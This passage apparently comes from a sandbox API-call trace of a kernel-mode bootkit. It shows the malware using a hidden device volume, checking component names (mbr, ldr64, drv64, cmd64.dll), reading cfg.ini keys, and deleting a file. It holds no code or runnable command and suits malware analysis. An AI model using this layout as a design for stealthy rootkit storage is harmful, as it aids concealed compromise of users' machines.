FastMutex=0xfffffa80027d3898) [0121.639] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.639] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.639] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.639] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.639] IdePortDispatch () returned 0x103 [0121.639] KeWaitForMutexObject () returned 0x0 [0121.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.640] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.640] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.640] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.640] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.640] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdf10 [0121.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.640] KeLeaveCriticalRegion () [0121.640] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.640] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.640] KeEnterCriticalRegion () [0121.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.640] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.640] KeLeaveCriticalRegion () [0121.640] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.640] KeEnterCriticalRegion () [0121.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.640] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.640] IdePortDispatch () returned 0x103 [0121.640] KeWaitForMutexObject () returned 0x0 [0121.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.640] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.640] KeLeaveCriticalRegion () [0121.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.641] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.641] KeEnterCriticalRegion () [0121.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.641] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b68000 [0121.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.641] IdePortDispatch () returned 0x103 [0121.641] KeWaitForMutexObject () returned 0x0 [0121.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.641] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.641] IdePortDispatch () returned 0x103 [0121.641] KeWaitForMutexObject () returned 0x0 [0121.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.641] KeLeaveCriticalRegion () [0121.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.642] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.642] KeEnterCriticalRegion () [0121.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] KeLeaveCriticalRegion () [0121.642] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.642] KeEnterCriticalRegion () [0121.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.642] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6420, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] KeLeaveCriticalRegion () [0121.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.642] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.642] KeEnterCriticalRegion () [0121.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] ExFreePoolWithTag (P=0xfffffa8003bbdf10, Tag=0x0) [0121.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] KeLeaveCriticalRegion () [0121.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.642] ReleaseMutex (hMutex=0xf0) returned 1 [0121.642] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.642] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.642] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.642] KeEnterCriticalRegion () [0121.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.642] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.642] IdePortDispatch () returned 0x103 [0121.643] KeWaitForMutexObject () returned 0x0 [0121.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.643] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.643] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.643] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.643] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.643] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.643] KeLeaveCriticalRegion () [0121.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.643] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.643] KeEnterCriticalRegion () [0121.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.643] KeLeaveCriticalRegion () [0121.643] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.643] KeEnterCriticalRegion () [0121.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.643] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.643] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.643] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.643] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.643] IdePortDispatch () returned 0x103 [0121.643] KeWaitForMutexObject () returned 0x0 [0121.643] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.643] KeLeaveCriticalRegion () [0121.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.643] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.644] KeEnterCriticalRegion () [0121.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.644] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b69000 [0121.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.644] IdePortDispatch () returned 0x103 [0121.644] KeWaitForMutexObject () returned 0x0 [0121.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.644] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.644] IdePortDispatch () returned 0x103 [0121.644] KeWaitForMutexObject () returned 0x0 [0121.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.644] KeLeaveCriticalRegion () [0121.644] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.645] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.645] KeEnterCriticalRegion () [0121.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] KeLeaveCriticalRegion () [0121.645] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.645] KeEnterCriticalRegion () [0121.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.645] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] KeLeaveCriticalRegion () [0121.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.645] KeEnterCriticalRegion () [0121.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] KeLeaveCriticalRegion () [0121.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.645] ReleaseMutex (hMutex=0xf0) returned 1 [0121.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.645] KeEnterCriticalRegion () [0121.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.645] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.645] IdePortDispatch () returned 0x103 [0121.645] KeWaitForMutexObject () returned 0x0 [0121.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.646] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.646] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.646] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.646] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.646] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6bc0 [0121.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] KeLeaveCriticalRegion () [0121.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.646] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.646] KeEnterCriticalRegion () [0121.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] KeLeaveCriticalRegion () [0121.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.646] KeEnterCriticalRegion () [0121.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.646] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.646] IdePortDispatch () returned 0x103 [0121.646] KeWaitForMutexObject () returned 0x0 [0121.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] KeLeaveCriticalRegion () [0121.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.646] KeEnterCriticalRegion () [0121.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6a000 [0121.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.646] IdePortDispatch () returned 0x103 [0121.647] KeWaitForMutexObject () returned 0x0 [0121.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.647] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.647] IdePortDispatch () returned 0x103 [0121.647] KeWaitForMutexObject () returned 0x0 [0121.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.647] KeLeaveCriticalRegion () [0121.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.647] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.647] KeEnterCriticalRegion () [0121.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] KeLeaveCriticalRegion () [0121.648] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.648] KeEnterCriticalRegion () [0121.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.648] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] KeLeaveCriticalRegion () [0121.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.648] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.648] KeEnterCriticalRegion () [0121.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] ExFreePoolWithTag (P=0xfffffa8003bd6bc0, Tag=0x0) [0121.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] KeLeaveCriticalRegion () [0121.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.648] ReleaseMutex (hMutex=0xf0) returned 1 [0121.648] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.648] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.648] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.648] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.648] KeEnterCriticalRegion () [0121.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.648] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.648] IdePortDispatch () returned 0x103 [0121.648] KeWaitForMutexObject () returned 0x0 [0121.648] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.648] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.648] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.648] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.648] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.648] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.648] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.648] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.649] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.649] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.649] KeLeaveCriticalRegion () [0121.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.649] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.649] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.649] KeEnterCriticalRegion () [0121.649] ExAcquireFastMutexUnsafe (in: 